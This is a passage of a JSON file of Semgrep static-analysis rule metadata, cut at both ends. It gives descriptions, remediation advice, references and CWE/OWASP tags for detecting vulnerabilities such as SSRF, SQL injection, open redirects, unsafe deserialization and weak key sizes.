input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint)\n - [https://docs.rs/reqwest/latest/reqwest/](https://docs.rs/reqwest/latest/reqwest/)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/rust.hyper.ssrf.reqwest-taint.reqwest-taint","id":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","name":"rust.hyper.ssrf.reqwest-taint.reqwest-taint","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: rust.hyper.ssrf.reqwest-taint.reqwest-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"help":{"markdown":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size)\n - [https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-131Ar2.pdf)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$KEY_FUNCTION` is using a key size of only $KEY_BITS bits. This is less than the recommended key size of 2048 bits."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.crypto.key.small-key-size.small-key-size","id":"cpp.lang.security.crypto.key.small-key-size.small-key-size","name":"cpp.lang.security.crypto.key.small-key-size.small-key-size","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.crypto.key.small-key-size.small-key-size"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File traversal when extracting zip archive"},"help":{"markdown":"File traversal when extracting zip archive\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File traversal when extracting zip archive"},"helpUri":"https://semgrep.dev/r/go.lang.security.zip.path-traversal-inside-zip-extraction","id":"go.lang.security.zip.path-traversal-inside-zip-extraction","name":"go.lang.security.zip.path-traversal-inside-zip-extraction","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.zip.path-traversal-inside-zip-extraction"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"help":{"markdown":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal)\n - [https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations](https://wiki.sei.cmu.edu/confluence/display/c/MSC06-C.+Beware+of+compiler+optimizations)\n","text":"This call to `$MEMSET` may be optimized out by the compiler because the buffer is not accessed later in the function. This could be an issue if `$BUF` contains sensitive data, such as passwords or cryptographic keys. Applications should use functions such as `memset_s` or `memset_explicit` to ensure that the sensitive data is cleared."},"helpUri":"https://semgrep.dev/r/cpp.lang.correctness.memset-removal.memset-removal","id":"cpp.lang.correctness.memset-removal.memset-removal","name":"cpp.lang.correctness.memset-removal.memset-removal","properties":{"precision":"very-high","tags":["CWE-14: Compiler Removal of Code to Clear Buffers","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.correctness.memset-removal.memset-removal"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n - [https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect](https://docs.djangoproject.com/en/5.0/ref/request-response/#django.http.HttpResponseRedirect)\n - [https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse](https://docs.djangoproject.com/en/5.0/ref/urlresolvers/#reverse)\n - [https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect](https://docs.djangoproject.com/en/5.0/topics/http/shortcuts/#redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/python.django.web.tainted-redirect-django.tainted-redirect-django","id":"python.django.web.tainted-redirect-django.tainted-redirect-django","name":"python.django.web.tainted-redirect-django.tainted-redirect-django","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.tainted-redirect-django.tainted-redirect-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"help":{"markdown":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution)\n - [https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection](https://0xn3va.gitbook.io/cheat-sheets/framework/spring/spel-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"User data flows into a script engine or another means of dynamic code evaluation. This is unsafe and could lead to code injection or arbitrary code execution as a result. Avoid inputting user data into code execution or use proper sandboxing if user code evaluation is necessary."},"helpUri":"https://semgrep.dev/r/java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","id":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","name":"java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.spring-tainted-code-execution.spring-tainted-code-execution"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"help":{"markdown":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures/)\n - [https://cwe.mitre.org/data/definitions/613.html](https://cwe.mitre.org/data/definitions/613.html)\n - [https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet](https://docs.microsoft.com/en-us/dotnet/api/microsoft.identitymodel.tokens.tokenvalidationparameters?view=azure-dotnet)\n","text":"The TokenValidationParameters.$LIFETIME is set to $FALSE, this means the JWT tokens lifetime is not validated. This can lead to an JWT token being used after it has expired, which has security implications. It is recommended to validate the JWT lifetime to ensure only valid tokens are used."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","id":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","name":"csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation","properties":{"precision":"very-high","tags":["CWE-613: Insufficient Session Expiration","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.ad.jwt-tokenvalidationparameters-no-expiry-validation.jwt-tokenvalidationparameters-no-expiry-validation"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Peewee provides a query builder which should allow to create the SQL query in a safe way. If you cannot use it, make sure to check the value exists in an allowlist, such that no user-controllable value can influence the eventual SQL query."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.peewee-fastapi.peewee-fastapi","id":"python.fastapi.db.peewee-fastapi.peewee-fastapi","name":"python.fastapi.db.peewee-fastapi.peewee-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.peewee-fastapi.peewee-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"help":{"markdown":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection)\n - [https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb](https://github.com/presidentbeef/brakeman/blob/main/test/apps/rails2/app/controllers/application_controller.rb)\n","text":"Found user-controllable input to Ruby reflection functionality. This allows a remote user to influence runtime behavior, up to and including arbitrary remote code execution. Do not provide user-controllable input to reflection functionality. Do not call symbol conversion on user-controllable input."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","id":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","name":"ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-unsafe-reflection.check-unsafe-reflection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"help":{"markdown":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that do not disable access to application files. If the WebView does not require loading content from the local filesystem of the application, this setting should be disabled."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","id":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","name":"swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-universal-fileaccess.swift-webview-config-allows-universal-file-access"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"help":{"markdown":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas)\n - [https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/](https://blog.trailofbits.com/2021/03/15/never-a-dill-moment-exploiting-machine-learning-pickle-files/)\n","text":"Functions reliant on pickle can result in arbitrary code execution. Consider using fickling or switching to a safer serialization method"},"helpUri":"https://semgrep.dev/r/trailofbits.python.pickles-in-pandas.pickles-in-pandas","id":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","name":"trailofbits.python.pickles-in-pandas.pickles-in-pandas","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: trailofbits.python.pickles-in-pandas.pickles-in-pandas"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"help":{"markdown":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"A prompt is created and user-controlled data reaches that prompt. This can lead to prompt injection. Make sure the user inputs are properly segmented from the system's in your prompts."},"helpUri":"https://semgrep.dev/r/python.flask.ai.prompt-injection-flask.prompt-injection-flask","id":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","name":"python.flask.ai.prompt-injection-flask.prompt-injection-flask","properties":{"precision":"very-high","tags":["CWE-75: Failure to Sanitize Special Elements into a Different Plane (Special Element Injection)","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.ai.prompt-injection-flask.prompt-injection-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"CORS rule on bucket permits any origin"},"help":{"markdown":"CORS rule on bucket permits any origin\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/s3_bucket#using-cors)\n","text":"CORS rule on bucket permits any origin"},"helpUri":"https://semgrep.dev/r/terraform.lang.security.s3-cors-all-origins.all-origins-allowed","id":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","name":"terraform.lang.security.s3-cors-all-origins.all-origins-allowed","properties":{"precision":"very-high","tags":["CWE-942: Permissive Cross-domain Policy with Untrusted Domains","LOW CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.lang.security.s3-cors-all-origins.all-origins-allowed"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"help":{"markdown":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect)\n - [https://symfony.com/doc/current/controller.html#redirecting](https://symfony.com/doc/current/controller.html#redirecting)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"The `redirect()` method does not check its destination in any way. If you redirect to a URL provided by end-users, your application may be open to the unvalidated redirects security vulnerability. Consider using literal values or an allowlist to validate URLs."},"helpUri":"https://semgrep.dev/r/php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","id":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","name":"php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: php.symfony.security.audit.symfony-non-literal-redirect.symfony-non-literal-redirect"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"help":{"markdown":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra)\n - [https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra](https://docs.djangoproject.com/en/3.0/ref/models/querysets/#django.db.models.query.QuerySet.extra)\n - [https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/](https://semgrep.dev/blog/2020/preventing-sql-injection-a-django-authors-perspective/)\n","text":"QuerySet.extra' does not provide safeguards against SQL injection and requires very careful use. SQL injection can lead to critical data being stolen by attackers. Instead of using '.extra', use the Django ORM and parameterized queries such as `People.objects.get(name='Bob')`."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.query-set-extra.avoid-query-set-extra","id":"python.django.security.audit.query-set-extra.avoid-query-set-extra","name":"python.django.security.audit.query-set-extra.avoid-query-set-extra","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.query-set-extra.avoid-query-set-extra"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/javascript.browser.security.eval-detected.eval-detected","id":"javascript.browser.security.eval-detected.eval-detected","name":"javascript.browser.security.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.browser.security.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"help":{"markdown":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used)\n - [https://godoc.org/golang.org/x/crypto/sha3](https://godoc.org/golang.org/x/crypto/sha3)\n","text":"The package `net/http/cgi` is on the import blocklist.  The package is vulnerable to httpoxy attacks (CVE-2015-5386). It is recommended to use `net/http` or a web framework to build a web application instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.bad_imports.insecure-module-used","id":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","name":"go.lang.security.audit.crypto.bad_imports.insecure-module-used","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.bad_imports.insecure-module-used"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli)\n - [https://www.npmjs.com/package/mysql2](https://www.npmjs.com/package/mysql2)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use parameterized statements like so: `connection.query('SELECT $1 from table', [userinput])`"},"helpUri":"https://semgrep.dev/r/javascript.aws-lambda.security.mysql-sqli.mysql-sqli","id":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","name":"javascript.aws-lambda.security.mysql-sqli.mysql-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.aws-lambda.security.mysql-sqli.mysql-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is recommended.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.deserialization.tainted-json.tainted-json)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://docs.python.org/3/library/json.html](https://docs.python.org/3/library/json.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Even for a data-only serialization format such as JSON, a malicious string may cause the decoder to consume considerable CPU and memory resources. Limiting the size of data to be parsed is 